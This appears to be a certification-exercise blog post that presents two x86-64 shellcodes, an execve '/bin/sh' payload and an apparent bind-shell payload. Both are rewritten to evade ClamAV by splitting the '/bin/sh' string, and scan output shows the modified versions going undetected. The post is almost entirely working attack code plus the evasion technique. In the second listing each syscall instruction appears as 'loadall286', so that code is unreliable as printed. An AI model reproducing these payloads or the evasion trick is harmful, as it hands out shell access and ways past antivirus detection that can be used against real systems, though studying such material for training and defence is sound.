SLAE64 #6 - Polymorphic shellcode

I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the /bin/sh string. Breaking up the string caused the modified versions of both shellcodes to pass the detection. The offending original instruction has been commented out and the next 3 lines contain the modified instruction.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#603
    section .text
            global _start

    _start:
            xor     rdx, rdx

            ;mov     qword rbx, '//bin/sh'
            mov     rbx, 'n/sh'
            shl     rbx, 32
            xor     rbx, '//bi'

            shr     rbx, 0x8
            push    rbx
            mov     rdi, rsp
            push    rax
            push    rdi
            mov     rsi, rsp
            mov     al, 0x3b
            syscall
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#859
    section .text
            global _start
    _start:
            xor rsi,rsi
            mul rsi
            inc esi
            push byte +0x2
            pop rdi
            mov al,0x29
            loadall286
            push rdx
            pop rsi
            push rax
            pop rdi
            mov al,0x32
            loadall286
            mov al,0x2b
            loadall286
            push rdi
            pop rsi
            xchg rax,rdi

    dup2:
            dec esi
            mov al,0x21
            loadall286
            jnz dup2
            push rdx

            ;mov rdi,0x68732f6e69622f2f
            mov rdi, 0x68732f6e
            shl rdi, 32
            xor rdi, 0x69622f2f

            push rdi
            push rsp
            pop rdi
            mov al,0x3b
            loadall286
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Scanning shell_storm_603
shell_storm_603: Unix.Tool.13691-1 FOUND
Scanning shell_storm_603_mod
shell_storm_603_mod: OK
Scanning shell_storm_859
shell_storm_859: Unix.Trojan.MSShellcode-95 FOUND
Scanning shell_storm_859_mod
shell_storm_859_mod: OK

----------- SCAN SUMMARY -----------
Known viruses: 6137425
Engine version: 0.100.3
Scanned directories: 0
Scanned files: 4
Infected files: 2
Data scanned: 0.03 MB
Data read: 0.03 MB (ratio 1.00:1)
Time: 26.258 sec (0 m 26 s)

This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE64-XXXXX